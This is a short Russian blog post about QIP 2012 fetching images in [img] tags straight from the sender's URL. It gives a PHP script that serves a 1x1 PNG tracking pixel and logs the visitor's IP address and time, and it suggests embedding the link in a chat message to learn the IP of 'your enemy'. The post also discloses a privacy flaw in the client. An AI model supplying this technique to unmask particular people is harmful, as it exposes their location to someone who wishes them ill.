Как стать автором
Обновить

QIP 2012: Удобная функция или уязвимость

image

Думаю всем известен сервис мнговенных сообщений — QIP. По статистике в России и СНГ более 70% пользователей ICQ используют именно его, так как QIP удобен интеграциями с многими сервисами,
а так же имеет важную деталь — менее ресурсоёмкий ежели оффициальное приложение ICQ. С выходом QIP 2012 появилась возможность указывать теги [img][/img] Изображение автоматически
откроется в окне сообщений. Как не странно, изображение идёт сразу к клиенту, не проходя через сервер. Таким образом, можно определить ip адрес твоего собеседника.Приведу пример кода
на языке программирования PHP c использованием библиотеки GD.
<?php

$im = imageCreate(1,1); // Создаём изображение размером 1x1 px

$color = imageColorAllocate($im,255,255,255); 
imageString($im,3,1,1,null,$color); // Делаем вид заполнения изображения

add_logs('log.txt'); // Записываем информацию 

Header("Content-type: image/png"); // Передаём браузере информацию, что перед нами изображение
imagePng($im); // Выводим изображение
imageDestroy($im); // Разрушаем

function add_logs($file)
{
error_reporting(0); // Выключаем анализатор ошибок на случай отсутсвия файла
$string = '-------- ' . PHP_EOL . ' IP = ' . $_SERVER['REMOTE_ADDR'] . ' TIME = '. time() .'' . PHP_EOL; // Генерируем вид строки для записи
file_put_contents($file, $string);
}

?>

Вот пример, как можно получить ip адрес вашего недруга. Нужно просто вписать в конце вашего предложения: [img]http://yoururl.com/img.php[/img]
Теги:
Хабы:
Данная статья не подлежит комментированию, поскольку её автор ещё не является полноправным участником сообщества. Вы сможете связаться с автором только после того, как он получит приглашение от кого-либо из участников сообщества. До этого момента его username будет скрыт псевдонимом.